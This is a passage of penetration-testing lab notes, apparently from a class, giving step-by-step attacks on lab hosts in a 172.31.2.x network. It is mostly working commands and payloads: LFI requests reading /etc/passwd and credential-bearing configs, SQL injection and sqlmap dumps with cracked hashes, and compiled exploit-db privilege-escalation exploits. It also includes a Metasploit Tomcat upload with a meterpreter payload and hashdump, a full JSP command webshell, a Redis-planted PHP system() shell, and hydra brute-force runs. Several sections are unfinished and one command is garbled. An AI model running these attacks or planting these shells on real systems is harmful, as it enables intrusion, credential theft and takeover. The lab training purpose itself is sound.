  1058. git clone https://github.com/v0re/dirb.git
  1059.  
  1060. cd dirb/
  1061.  
  1062. ./configure
  1063.  
  1064. make
  1065.  
  1066. dirb
  1067.  
  1068. ./dirb http://172.31.2.139 wordlists/big.txt
  1069. -----------------------------------------------------------------------
  1070.  
  1071.  
  1072.  
  1073.  
  1074.  
  1075.  
  1076.  
  1077.  
  1078.  
  1079.  
  1080.  
  1081.  
  1082.  
  1083. ----------------------------------------------------------------------------------------------------------------------------------------------
  1084.  
  1085.  
  1086.  
  1087.  
  1088.  
  1089.  
  1090. Attack steps:
  1091. -------------
  1092.  
  1093.  
  1094. Step 1: Ping sweep the target network
  1095. -------------------------------------
  1096.  
  1097.  
  1098. ---------------------------Type This-----------------------------------
  1099. nmap -sP 172.31.2.0/24
  1100. -----------------------------------------------------------------------
  1101.  
  1102. Found 4 hosts:
  1103. 172.31.2.47
  1104. 172.31.2.47
  1105. 172.31.2.157
  1106. 172.31.2.217
  1107.  
  1108.  
  1109. Step 2: Port scan target system
  1110. -------------------------------
  1111.  
  1112.  
  1113. ---------------------------Type This-----------------------------------
  1114. sudo nmap -sV 172.31.2.47
  1115. -----------------------------------------------------------------------
  1116.  
  1117.  
  1118.  
  1119. PORT STATE SERVICE VERSION
  1120. 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
  1121. 80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
  1122. 514/tcp filtered shell
  1123. Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  1124.  
  1125.  
  1126.  
  1127. Step 3: Vulnerability Scan the webserver
  1128. ----------------------------------------
  1129.  
  1130.  
  1131. ---------------------------Type This-----------------------------------
  1132. cd ~/toolz/
  1133.  
  1134. rm -rf nikto*
  1135.  
  1136. git clone https://github.com/sullo/nikto.git Nikto2
  1137.  
  1138. cd Nikto2/program
  1139.  
  1140. perl nikto.pl -h 172.31.2.47
  1141. -----------------------------------------------------------------------
  1142.  
  1143.  
  1144. Step 4: Run dirbuster or similar directory bruteforce tool against the target
  1145. -----------------------------------------------------------------------------
  1146.  
  1147.  
  1148. ---------------------------Type This-----------------------------------
  1149. wget https://dl.packetstormsecurity.net/UNIX/cgi-scanners/Webr00t.pl
  1150.  
  1151. perl Webr00t.pl -h 172.31.2.47 -v | grep -v "404 Not Found"
  1152. -----------------------------------------------------------------------
  1153.  
  1154.  
  1155.  
  1156. Step 5: Browse the web site to look for clues
  1157. ---------------------------------------------
  1158. Since no glaring vulnerabilities were found with the scanner - we start just looking around the website itself
  1159.  
  1160.  
  1161. http://172.31.2.47/test
  1162. http://172.31.2.47/test.php (got the following error message)
  1163. 'file' parameter is empty. Please provide file path in 'file' parameter
  1164.  
  1165. Figured this was a Local File Include (LFI) so I tried:
  1166. http://172.31.2.47/test.php?file=/etc/passwd
  1167. http://172.31.2.47/test.php?file=/etc/passwd%00
  1168.  
  1169. None of these worked so I tried it as a POST request with curl (reference: https://pastebin.com/yfBz5H7b)
  1170. ---------------------------Type This-----------------------------------
  1171. curl -X POST -F 'file=/etc/passwd' http://172.31.2.47/test.php
  1172. -----------------------------------------------------------------------
  1173.  
  1174.  
  1175.  
  1176. http://172.31.2.47/a
  1177. http://172.31.2.47/b
  1178. http://172.31.2.47/c (a and b gave 404 errors, but "c" is a blank page, and view source is blank as well - this must be a config file"
  1179.  
  1180. So let's try that POST request with curl to pull down the c.php config file.
  1181.  
  1182. ---------------------------Type This-----------------------------------
  1183. curl -X POST -F 'file=/var/www/html/c.php' http://172.31.2.47/test.php
  1184. curl -X POST -F 'file=/var/htdocs/c.php' http://172.31.2.47/test.php
  1185. curl -X POST -F 'file=/var/www/c.php' http://172.31.2.47/test.php
  1186. -----------------------------------------------------------------------
  1187.  
  1188. <?php
  1189. #header( 'Z-Powered-By:its chutiyapa xD' );
  1190. header('X-Frame-Options: SAMEORIGIN');
  1191. header( 'Server:testing only' );
  1192. header( 'X-Powered-By:testing only' );
  1193.  
  1194. ini_set( 'session.cookie_httponly', 1 );
  1195.  
  1196. $conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");
  1197.  
  1198. // Check connection
  1199. if (mysqli_connect_errno())
  1200. {
  1201. echo "connection failed -> " . mysqli_connect_error();
  1202. }
  1203.  
  1204. ?>
  1205.  
  1206.  
  1207.  
  1208. ---------------------------Type This-----------------------------------
  1209. ssh -l billu 172.31.2.47
  1210. b0x_billu
  1211. -----------------------------------------------------------------------
  1212.  
  1213.  
  1214.  
  1215. http://172.31.2.47/phpmyadmin
  1216. http://172.31.2.47/phpMyAdmin
  1217. http://172.31.2.47/pma
  1218. http://172.31.2.47/phpmy
  1219.  
  1220.  
  1221. Then I Googled config file name for phpmyadmin (config.inc.php)
  1222.  
  1223. ---------------------------Type This-----------------------------------
  1224. curl -X POST -F 'file=/var/www/phpmy/config.inc.php' http://172.31.2.47/test.php
  1225. -----------------------------------------------------------------------
  1226. <?php
  1227.  
  1228. /* Servers configuration */
  1229. $i = 0;
  1230.  
  1231. /* Server: localhost [1] */
  1232. $i++;
  1233. $cfg['Servers'][$i]['verbose'] = 'localhost';
  1234. $cfg['Servers'][$i]['host'] = 'localhost';
  1235. $cfg['Servers'][$i]['port'] = '';
  1236. $cfg['Servers'][$i]['socket'] = '';
  1237. $cfg['Servers'][$i]['connect_type'] = 'tcp';
  1238. $cfg['Servers'][$i]['extension'] = 'mysqli';
  1239. $cfg['Servers'][$i]['auth_type'] = 'cookie';
  1240. $cfg['Servers'][$i]['user'] = 'root';
  1241. $cfg['Servers'][$i]['password'] = 'roottoor';
  1242. $cfg['Servers'][$i]['AllowNoPassword'] = true;
  1243.  
  1244.  
  1245. ---------------------------Type This-----------------------------------
  1246. ssh -l root 172.31.2.47
  1247. roottoor
  1248. -----------------------------------------------------------------------
  1249.  
  1250.  
  1251.  
  1252.  
  1253.  
  1254.  
  1255. ---------------------------------------------------------------------------------------------------------------------------------------------------------
  1256.  
  1257. Attack steps:
  1258. -------------
  1259.  
  1260.  
  1261.  
  1262. Step 1: Ping sweep the target network
  1263. -------------------------------------
  1264.  
  1265.  
  1266. ---------------------------Type This-----------------------------------
  1267. nmap -sP 172.31.2.0/24
  1268. -----------------------------------------------------------------------
  1269.  
  1270.  
  1271.  
  1272. - Found 3 hosts
  1273. 172.31.2.64
  1274. 172.31.2.217
  1275. 172.31.2.238
  1276.  
  1277.  
  1278.  
  1279. Step 2: Port scan target system
  1280. -------------------------------
  1281.  
  1282.  
  1283. ---------------------------Type This-----------------------------------
  1284. nmap -sV 172.31.2.64
  1285. -----------------------------------------------------------------------
  1286.  
  1287.  
  1288.  
  1289. -------------Scan Results--------------------------------------------
  1290. PORT STATE SERVICE VERSION
  1291. 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.6 (Ubuntu Linux; protocol 2.0)
  1292. 80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
  1293. 514/tcp filtered shell
  1294. 1037/tcp filtered ams
  1295. 6667/tcp open irc ngircd
  1296. Service Info: Host: irc.example.net; OS: Linux; CPE: cpe:/o:linux:linux_kernel
  1297. --------------------------------------------------------------------
  1298.  
  1299.  
  1300. Step 3: Vulnerability Scan the webserver
  1301. ----------------------------------------
  1302.  
  1303.  
  1304. ---------------------------Type This-----------------------------------
  1305. cd ~/toolz/
  1306.  
  1307. rm -rf nikto*
  1308.  
  1309. git clone https://github.com/sullo/nikto.git Nikto2
  1310.  
  1311. cd Nikto2/program
  1312.  
  1313. perl nikto.pl -h 172.31.2.64
  1314. -----------------------------------------------------------------------
  1315.  
  1316.  
  1317. Step 4: Run dirbuster or similar directory bruteforce tool against the target
  1318. -----------------------------------------------------------------------------
  1319.  
  1320.  
  1321. ---------------------------Type This-----------------------------------
  1322. wget https://dl.packetstormsecurity.net/UNIX/cgi-scanners/Webr00t.pl
  1323.  
  1324. perl Webr00t.pl -h 172.31.2.64 -v
  1325. -----------------------------------------------------------------------
  1326.  
  1327.  
  1328.  
  1329. Step 5: Browse the web site to look for clues
  1330. ---------------------------------------------
  1331. Since no glaring vulnerabilities were found with the scanner - we start just looking around the website itself
  1332.  
  1333.  
  1334. ..... really didn't get much from here so we just opened the web page in a browser
  1335. http://172.31.2.64/
  1336.  
  1337. .....browsed to the webpage and saw that it pointed to:
  1338. http://172.31.2.64/jabc
  1339.  
  1340. ....clicked on documentation link and found hidden text that pointed to here:
  1341. http://172.31.2.64/jabcd0cs/
  1342.  
  1343. ....saw that the app was OpenDocMan v1.2.7 and found it was vulnerable:
  1344. https://www.exploit-db.com/exploits/32075/
  1345.  
  1346. Tried the sql injection described in exploit-db:
  1347. http://172.31.2.64/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user UNION SELECT 1,version(),3,4,5,6,7,8,9
  1348.  
  1349. http://172.31.2.64/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user UNION SELECT 1,user(),3,4,5,6,7,8,9
  1350.  
  1351.  
  1352.  
  1353. Tried to run sqlmap against the target
  1354.  
  1355.  
  1356. ---------------------------Type This-----------------------------------
  1357. cd sqlmap-dev/
  1358. python sqlmap.py -u "http://172.31.2.64/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -b --dbms=mysql
  1359.  
  1360. python sqlmap.py -u "http://172.31.2.64/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --current-user --dbms=mysql
  1361.  
  1362. python sqlmap.py -u "http://172.31.2.64/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --current-db --dbms=mysql
  1363.  
  1364. python sqlmap.py -u "http://172.31.2.64/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --dbs --dbms=mysql
  1365.  
  1366. python sqlmap.py -u "http://172.31.2.64/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --users --passwords --dbms=mysql
  1367. -----------------------------------------------------------------------
  1368.  
  1369.  
  1370.  
  1371. FOUND: cracked password 'toor' for user 'drupal7' (sqlmap)
  1372. FOUND: 9CFBBC772F3F6C106020035386DA5BBBF1249A11 hash is 'toor' verified at crackstation.net
  1373.  
  1374.  
  1375.  
  1376. ---------------------------Type This-----------------------------------
  1377. python sqlmap.py -u "http://172.31.2.64/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -D jabcd0cs --tables --dbms=mysql
  1378.  
  1379. python sqlmap.py -u "http://172.31.2.64/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -D jabcd0cs -T odm_user --dump --dbms=mysql
  1380. -----------------------------------------------------------------------
  1381.  
  1382. username: webmin
  1383. hash: b78aae356709f8c31118ea613980954b
  1384.  
  1385. https://hashkiller.co.uk/md5-decrypter.aspx
  1386.  
  1387. hash: b78aae356709f8c31118ea613980954b
  1388. pass: webmin1980
  1389.  
  1390.  
  1391. ok - /phpmyadmin and /webmin both did not work in the browser but these credentials worked for SSH.
  1392.  
  1393.  
  1394.  
  1395. ---------------------------Type This-----------------------------------
  1396. ssh -l webmin 172.31.2.64
  1397. webmin1980
  1398.  
  1399. id
  1400.  
  1401. cat /etc/*release
  1402. -----------------------------------------------------------------------
  1403.  
  1404.  
  1405.  
  1406. ....tired of not having a real command shell...
  1407.  
  1408.  
  1409. ---------------------------Type This-----------------------------------
  1410. python -c 'import pty;pty.spawn("/bin/bash")'
  1411.  
  1412.  
  1413. cd /tmp
  1414.  
  1415. pwd
  1416.  
  1417.  
  1418. cat >> exploit.c << out
  1419.  
  1420. **************paste in the content from here *****************
  1421. https://www.exploit-db.com/raw/39166/
  1422.  
  1423.  
  1424. ------ hit enter a few times ------
  1425.  
  1426. ------ then type 'out' ----- this closes the file handle...
  1427.  
  1428.  
  1429.  
  1430. ---------------------------Type This-----------------------------------
  1431. gcc -o boom exploit.c
  1432.  
  1433. ./boom
  1434. -----------------------------------------------------------------------
  1435.  
  1436.  
  1437. ------------exploit failed, damn let's try another one ---------
  1438.  
  1439.  
  1440.  
  1441. ---------------------------Type This-----------------------------------
  1442. cat >> exploit2.c << out
  1443.  
  1444. **************paste in the content from here *****************
  1445. https://www.exploit-db.com/raw/37292/
  1446.  
  1447.  
  1448. out
  1449.  
  1450.  
  1451. gcc -o boom2 exploit2.c
  1452.  
  1453. ./boom2
  1454.  
  1455. id
  1456.  
  1457.  
  1458. ......YEAH - do the happy dance!!!!
  1459.  
  1460.  
  1461.  
  1462.  
  1463. ---- Previous class attack process -------
  1464.  
  1465.  
  1466. #########################
  1467. # Building a quick list #
  1468. #########################
  1469.  
  1470. ---------------------------Type This-----------------------------------
  1471.  
  1472. cd ~
  1473. echo bob >> list.txt
  1474. echo jim >> list.txt
  1475. echo joe >> list.txt
  1476. echo tim >> list.txt
  1477. echo admin >> list.txt
  1478. echo hello >> list.txt
  1479. echo rob >> list.txt
  1480. echo test >> list.txt
  1481. echo aaaaaa >> list.txt
  1482. echo larry >> list.txt
  1483. echo mario >> list.txt
  1484. echo jason >> list.txt
  1485. echo john >> list.txt
  1486. -----------------------------------------------------------------------
  1487.  
  1488.  
  1489. ###########################################################
  1490. # Let's start with some basic scanning of the lab network #
  1491. ###########################################################
  1492.  
  1493. ---------------------------Type This-----------------------------------
  1494.  
  1495. infosecaddicts@ubuntu:~$ nmap -sP 172.31.2.0/24
  1496. -----------------------------------------------------------------------
  1497.  
  1498. Starting Nmap 7.12 ( https://nmap.org ) at 2017-11-21 13:17 EST
  1499. Nmap scan report for 172.31.2.24
  1500. Host is up (0.046s latency).
  1501. Nmap scan report for 172.31.2.47
  1502. Host is up (0.045s latency).
  1503. Nmap scan report for 172.31.2.64
  1504. Host is up (0.037s latency).
  1505. Nmap scan report for 172.31.2.86
  1506. Host is up (0.040s latency).
  1507. Nmap scan report for 172.31.2.117
  1508. Host is up (0.038s latency).
  1509. Nmap scan report for 172.31.2.139
  1510. Host is up (0.037s latency).
  1511. Nmap scan report for 172.31.2.157
  1512. Host is up (0.036s latency).
  1513. Nmap scan report for 172.31.2.217
  1514. Host is up (0.047s latency).
  1515. Nmap scan report for 172.31.2.238
  1516. Host is up (0.036s latency).
  1517. Nmap done: 256 IP addresses (9 hosts up) scanned in 3.22 seconds
  1518.  
  1519.  
  1520.  
  1521.  
  1522.  
  1523.  
  1524. ---------------------------Type This-----------------------------------
  1525.  
  1526. infosecaddicts@ubuntu:~$ sudo nmap -sS 172.31.2.24
  1527. -----------------------------------------------------------------------
  1528.  
  1529. [sudo] password for infosecaddicts:
  1530.  
  1531. Starting Nmap 7.12 ( https://nmap.org ) at 2017-11-21 13:18 EST
  1532. Nmap scan report for 172.31.2.24
  1533. Host is up (1.8s latency).
  1534. Not shown: 989 closed ports
  1535. PORT STATE SERVICE
  1536. 25/tcp open smtp
  1537. 80/tcp open http
  1538. 111/tcp open rpcbind
  1539. 139/tcp open netbios-ssn
  1540. 445/tcp open microsoft-ds
  1541. 514/tcp filtered shell
  1542. 1322/tcp open novation
  1543. 2049/tcp open nfs
  1544. 8080/tcp open http-proxy
  1545. 8081/tcp open blackice-icecap
  1546. 9000/tcp open cslistener
  1547.  
  1548. Nmap done: 1 IP address (1 host up) scanned in 133.56 seconds
  1549.  
  1550.  
  1551.  
  1552.  
  1553.  
  1554.  
  1555.  
  1556. ---------------------------Type This-----------------------------------
  1557.  
  1558. infosecaddicts@ubuntu:~$ sudo nmap -sV -p25,80,111,139,445,1322,2049,8080,8081,9000 172.31.2.24
  1559. -----------------------------------------------------------------------
  1560.  
  1561. Starting Nmap 7.12 ( https://nmap.org ) at 2017-11-21 13:21 EST
  1562. Nmap scan report for 172.31.2.24
  1563. Host is up (0.031s latency).
  1564. PORT STATE SERVICE VERSION
  1565. 25/tcp open ftp vsftpd 3.0.2
  1566. 80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
  1567. 111/tcp open rpcbind 2-4 (RPC #100000)
  1568. 139/tcp open netbios-ssn Samba smbd 3.X (workgroup: CANYOUPWNME)
  1569. 445/tcp open netbios-ssn Samba smbd 3.X (workgroup: CANYOUPWNME)
  1570. 1322/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
  1571. 2049/tcp open nfs_acl 2-3 (RPC #100227)
  1572. 8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
  1573. 8081/tcp open http Apache httpd 2.4.7 ((Ubuntu))
  1574. 9000/tcp open http Jetty winstone-2.9
  1575. Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
  1576.  
  1577. Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  1578. Nmap done: 1 IP address (1 host up) scanned in 15.15 seconds
  1579.  
  1580.  
  1581.  
  1582.  
  1583.  
  1584.  
  1585.  
  1586.  
  1587. ###########################
  1588. # Day 1: Attacking Kevgir #
  1589. ###########################
  1590.  
  1591.  
  1592. ******** Attacking Kevgir ********
  1593. I figured I've give you something fun to play with.
  1594.  
  1595.  
  1596.  
  1597. ###############
  1598. # Using Nikto #
  1599. ###############
  1600.  
  1601. ---------------------------Type This-----------------------------------
  1602.  
  1603. cd ~/toolz/
  1604.  
  1605. rm -rf nikto*
  1606.  
  1607. git clone https://github.com/sullo/nikto.git Nikto2
  1608.  
  1609. cd Nikto2/program
  1610.  
  1611. perl nikto.pl -h 172.31.2.24
  1612.  
  1613. perl nikto.pl -h 172.31.2.24:8080
  1614.  
  1615. perl nikto.pl -h 172.31.2.24:8081
  1616.  
  1617. perl nikto.pl -h 172.31.2.24:9000
  1618.  
  1619. -----------------------------------------------------------------------
  1620.  
  1621.  
  1622.  
  1623. ####################
  1624. # Using Metasploit #
  1625. ####################
  1626.  
  1627. ---------------------------Type This-----------------------------------
  1628.  
  1629. cd ~/toolz/metasploit
  1630.  
  1631. ./msfconsole
  1632.  
  1633. use auxiliary/scanner/http/http_version
  1634.  
  1635. set RHOSTS 172.31.2.24
  1636.  
  1637. set RPORT 8080
  1638.  
  1639. run
  1640.  
  1641.  
  1642. -------------------------------
  1643.  
  1644. use auxiliary/scanner/http/tomcat_enum
  1645.  
  1646. set RHOSTS 172.31.2.24
  1647.  
  1648. set RPORT 8080
  1649.  
  1650. run
  1651. -----------------------------------------------------------------------
  1652.  
  1653.  
  1654.  
  1655.  
  1656.  
  1657. ####################
  1658. # Attacking Tomcat #
  1659. ####################
  1660.  
  1661. ---------------------------Type This-----------------------------------
  1662.  
  1663. use auxiliary/scanner/http/http_version
  1664.  
  1665. set RHOSTS 172.31.2.24
  1666.  
  1667. set RPORT 8080
  1668.  
  1669. run
  1670.  
  1671.  
  1672. -------------------------------
  1673.  
  1674.  
  1675. use auxiliary/scanner/http/tomcat_mgr_login
  1676.  
  1677. set USERNAME tomcat
  1678.  
  1679. set USERPASS_FILE /home/infosecaddicts/list.txt
  1680.  
  1681. set STOP_ON_SUCCESS true
  1682.  
  1683. set RHOSTS 172.31.2.24
  1684.  
  1685. set RPORT 8080
  1686.  
  1687. run
  1688.  
  1689.  
  1690. -------------------------------
  1691.  
  1692. use exploit/multi/http/tomcat_mgr_upload
  1693.  
  1694. set HttpUsername tomcat
  1695.  
  1696. set HttpPassword tomcat
  1697.  
  1698. set RHOST 172.31.2.24
  1699.  
  1700. set RPORT 8080
  1701.  
  1702. set PATH /manager/html
  1703.  
  1704. set PAYLOAD java/meterpreter/bind_tcp
  1705.  
  1706. exploit
  1707.  
  1708.  
  1709. run post/linux/gather/checkvm
  1710.  
  1711. run post/linux/gather/enum_configs
  1712.  
  1713. run post/linux/gather/enum_protections
  1714.  
  1715. run post/linux/gather/enum_system
  1716.  
  1717. run post/linux/gather/enum_users_history
  1718.  
  1719. run post/linux/gather/hashdump
  1720.  
  1721. shell
  1722.  
  1723. /bin/bash
  1724.  
  1725. id
  1726.  
  1727. uname -a
  1728.  
  1729. dpkg -l
  1730.  
  1731. cd /tmp
  1732.  
  1733. pwd
  1734.  
  1735.  
  1736. cat >> exploit.c << out
  1737.  
  1738. **************paste in the content from here *****************
  1739. https://raw.githubusercontent.com/offensive-security/exploit-database/master/platforms/linux/local/39166.c
  1740.  
  1741.  
  1742. ------ hit enter a few times ------
  1743.  
  1744. ------ then type 'out' ----- this closes the file handle...
  1745.  
  1746.  
  1747. gcc -o boom exploit.c
  1748.  
  1749. ./boom
  1750.  
  1751. id
  1752.  
  1753.  
  1754. -----------------------------------------------------------------------
  1755.  
  1756. ---------------------------Type This-----------------------------------
  1757.  
  1758. hydra -l tomcat -P /home/infosecaddicts/list.txt -e ns -s 8080 -vV 172.31.2.24 http-get /manager/html
  1759. -----------------------------------------------------------------------
  1760.  
  1761.  
  1762.  
  1763.  
  1764.  
  1765. -------------------------------------------index.jsp-------------------------------------------
  1766. <FORM METHOD=GET ACTION='index.jsp'>
  1767. <INPUT name='cmd' type=text>
  1768. <INPUT type=submit value='Run'>
  1769. </FORM>
  1770. <%@ page import="java.io.*" %>
  1771. <%
  1772. String cmd = request.getParameter("cmd");
  1773. String output = "";
  1774. if(cmd != null) {
  1775. String s = null;
  1776. try {
  1777. Process p = Runtime.getRuntime().exec(cmd,null,null);
  1778. BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
  1779. while((s = sI.readLine()) != null) { output += s+"</br>"; }
  1780. } catch(IOException e) { e.printStackTrace(); }
  1781. }
  1782. %>
  1783. <pre><%=output %></pre>
  1784. -------------------------------------------index.jsp-------------------------------------------
  1785.  
  1786. ***** now pack the webshell *****
  1787.  
  1788.  
  1789. ---------------------------Type This-----------------------------------
  1790.  
  1791. mkdir webshell
  1792. cp index.jsp webshell
  1793.  
  1794. cd webshell
  1795. jar -cvf ../webshell.war *
  1796. -----------------------------------------------------------------------
  1797.  
  1798.  
  1799. Deploy the WAR file using the built-in deploy option on the manager web-page.
  1800. Once the WAR file is deployed I simply browse to the URL I deployed the WAR file
  1801. now upload the webshell.war. After uploading, visit page: http://172.31.2.2:8080/webshell/
  1802.  
  1803.  
  1804.  
  1805. ****** This section isn't finished ******
  1806.  
  1807. ---------------------------Type This-----------------------------------
  1808.  
  1809. cd ~/toolz/metasploit
  1810.  
  1811. ./msfvenom -p linux/x86/shell_bind_tcp LPORT="7777" -f war > /home/infosecaddicts/bind7777.war
  1812.  
  1813. jar tf ~/bind7777.war
  1814. -----------------------------------------------------------------------
  1815.  
  1816. ****** This section isn't finished ******
  1817.  
  1818. Google is your friend hahahahahahahah........
  1819.  
  1820.  
  1821. #################
  1822. # Attacking FTP #
  1823. #################
  1824.  
  1825. ---------------------------Type This-----------------------------------
  1826.  
  1827. sudo nmap -sV -Pn -p25 --script=banner,ftp-anon,ftp-bounce,ftp-proftpd-backdoor,ftp-vsftpd-backdoor 172.31.2.24
  1828.  
  1829. cd ~/toolz/hydra
  1830.  
  1831. hydra -l admin -P /home/infosecaddicts/list.txt -u -s 25 172.31.2.24 ftp
  1832.  
  1833. ftp
  1834. open 172.31.2.24
  1835. admin
  1836. admin
  1837. pwd
  1838. ls -lah
  1839.  
  1840. ls ../../
  1841. -----------------------------------------------------------------------
  1842.  
  1843.  
  1844. #################
  1845. # Attacking SSH #
  1846. #################
  1847.  
  1848. ---------------------------Type This-----------------------------------
  1849.  
  1850. sudo apt-get install -y libssh-dev
  1851. infosecaddicts
  1852. cd ~/toolz/hydra
  1853. make clean
  1854. ./configure
  1855. make
  1856. sudo make install
  1857.  
  1858.  
  1859. hydra -L /home/infosecaddicts/list.txt -P /home/infosecaddicts/list.txt -u -s 1322 172.31.2.24 ssh
  1860.  
  1861. ssh -p 1322 admin@172.31.2.24
  1862.  
  1863.  
  1864. -------------------------------
  1865.  
  1866. cd ~/toolz/metasploit
  1867.  
  1868. ./msfconsole
  1869.  
  1870. use auxiliary/scanner/ssh/ssh_enumusers
  1871.  
  1872. set USER_FILE /home/infosecaddicts/list.txt
  1873.  
  1874. set STOP_ON_SUCCESS true
  1875.  
  1876. set RHOSTS 172.31.2.24
  1877.  
  1878. set RPORT 1322
  1879.  
  1880. run
  1881.  
  1882.  
  1883.  
  1884.  
  1885.  
  1886. use auxiliary/scanner/ssh/ssh_login
  1887.  
  1888. set USER_FILE /home/infosecaddicts/list.txt
  1889.  
  1890. set PASS_FILE /home/infosecaddicts/list.txt
  1891.  
  1892. set STOP_ON_SUCCESS true
  1893.  
  1894. set RHOSTS 172.31.2.24
  1895.  
  1896. set RPORT 1322
  1897.  
  1898. run
  1899.  
  1900.  
  1901. sessions -l
  1902.  
  1903. sessions -u 1
  1904.  
  1905. sessions -i 1
  1906.  
  1907. id
  1908.  
  1909. -----------------------------------------------------------------------
  1910.  
  1911.  
  1912. ########################
  1913. # Attacking phpMyAdmin #
  1914. ########################
  1915. ****** This section isn't finished ******
  1916.  
  1917. ---------------------------Type This-----------------------------------
  1918.  
  1919. hydra -l root -P /home/infosecaddicts/list.txt -e n http-post-form://172.31.2.24 -m "/phpMyAdmin/index.php:pma_username=^USER^&pma_password=^PASS^&server=1:S=information_schema"
  1920. -----------------------------------------------------------------------
  1921.  
  1922. ****** This section isn't finished ******
  1923.  
  1924. Google is your friend hahahahahahahah........
  1925.  
  1926.  
  1927.  
  1928. ---------------------------Type This-----------------------------------
  1929.  
  1930. wget https://repo.palkeo.com/repositories/mysterie.fr/prog/darkc0de/others/pmabf.py
  1931.  
  1932. python pmabf.py http://172.31.2.24 root list.txt (this gave me the WRONG password)
  1933. -----------------------------------------------------------------------
  1934.  
  1935.  
  1936.  
  1937.  
  1938.  
  1939.  
  1940. ####################
  1941. # Attacking Joomla #
  1942. ####################
  1943.  
  1944. ---------------------------Type This-----------------------------------
  1945.  
  1946. cd ~/toolz/metasploit
  1947.  
  1948. ./msfconsole
  1949.  
  1950. use use auxiliary/scanner/http/joomla_plugins
  1951.  
  1952. set RHOSTS 172.31.2.24
  1953.  
  1954. set RPORT 8080
  1955.  
  1956. run
  1957. -----------------------------------------------------------------------
  1958.  
  1959.  
  1960. ****** This section isn't finished ******
  1961. Google is your friend hahahahahahahah........
  1962.  
  1963. #####################
  1964. # Attacking Jenkins #
  1965. #####################
  1966.  
  1967.  
  1968. ****** This section isn't finished ******
  1969. Google is your friend hahahahahahahah........
  1970.  
  1971. #################
  1972. # Attacking NFS #
  1973. #################
  1974.  
  1975. ---------------------------Type This-----------------------------------
  1976.  
  1977. sudo apt install -y rpcbind nfs-common
  1978.  
  1979. rpcinfo -s 172.31.2.24
  1980.  
  1981. showmount -e 172.31.2.24
  1982.  
  1983. sudo /bin/bash
  1984.  
  1985. mkdir /tmp/nfs
  1986.  
  1987. mount -t nfs 172.31.2.24:/backup /tmp/nfs -o nolock
  1988.  
  1989. ls /tmp/nfs
  1990.  
  1991. cp /tmp/nfs/backup.tar.bz2.zip /home/infosecaddicts
  1992.  
  1993. umount -l /tmp/nfs
  1994.  
  1995. exit
  1996.  
  1997. sudo apt-cache search fcrackzip
  1998.  
  1999. sudo apt-get install -y fcrackzip
  2000.  
  2001. fcrackzip -u backup.tar.bz2.zip
  2002.  
  2003. unzip -P aaaaaa backup.tar.bz2.zip
  2004.  
  2005. tar jxf backup.tar.bz2
  2006. -----------------------------------------------------------------------
  2007.  
  2008.  
  2009. ###################
  2010. # Attacking Redis #
  2011. ###################
  2012.  
  2013. ---------------------------Type This-----------------------------------
  2014.  
  2015. sudo nmap -p 6379 --script=redis-info 172.31.2.24
  2016. infosecaddicts
  2017.  
  2018. sudo apt-get install -y redis-tools
  2019. infosecaddicts
  2020.  
  2021. redis-cli -h 172.31.2.24
  2022.  
  2023. CONFIG SET dir /var/www/html/main
  2024.  
  2025. CONFIG GET dir
  2026.  
  2027. config set dbfilename boom.php
  2028.  
  2029. CONFIG GET dbfilename
  2030.  
  2031. SET cmd "<?php system($_GET['joe']); ?>"
  2032.  
  2033. BGSAVE
  2034.  
  2035. http://172.31.2.24/boom.php
  2036.  
  2037. http://172.31.2.24/boom.php?joe=id
  2038.  
  2039.  
  2040. (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt/.ssh"
  2041.  
  2042.  
  2043.  
  2044. ****** This section isn't finished ******
  2045. Google is your friend hahahahahahahah........
  2046.  
  2047. cd ~/toolz/metasploit
  2048.  
  2049. ./msfconsole
  2050.  
  2051. use auxiliary/scanner/redis/file_upload
  2052.  
  2053. set RHOSTS 172.31.2.24
  2054.  
  2055. set LocalFile
  2056.  
  2057. ****** This section isn't finished ******
  2058. Google is your friend hahahahahahahah........
  2059.  
  2060.  
  2061.  
  2062.  
  2063.  
  2064. sudo nmap -sV -p 3260 172.31.2.217
  2065.  
  2066.  
  2067. sudo apt install open-iscsi
  2068.  
  2069. sudo iscsiadm -m discovery -t st -p 172.31.2.217
  2070.  
  2071. sudo iscsiadm -m discovery -t st -p 172.31.2.217:3260
  2072.  
  2073. sudo iscsiadm -m node -p 172.31.2.217 --login
  2074.  
  2075. sudo /bin/bash
  2076.  
  2077. fdisk -l
  2078. ***** look for /dev/sda5 - Linux swap / Solaris *******
  2079.  
  2080. mkdir /mnt/217vm
  2081.  
  2082. mount /dev/sdb /mnt/217vm
  2083.  
  2084. cd /mnt/217vm
  2085.  
  2086. ls
  2087.  
  2088. cat flag1.txt
  2089.  
  2090. file bobsdisk.dsk
  2091.  
  2092. mkdir /media/bobsdisk
  2093.  
  2094. mount /mnt/217vm/bobsdisk.dsk /media/bobsdisk
  2095.  
  2096. /mnt/217vm# ls
  2097.  
  2098. cd /media/bobsdisk/
  2099.  
  2100. ls
  2101.  
  2102. cat ToAlice.eml
  2103.  
  2104. file bobsdisk.dsk
  2105.  
  2106. mkdir /media/bobsdisk
  2107.  
  2108. mount /mnt/217vm/bobsdisk.dsk /media/bobsdisk
  2109.  
  2110. /mnt/217vm# ls
  2111.  
  2112. cd /media/bobsdisk/
  2113.  
  2114. ls
  2115.  
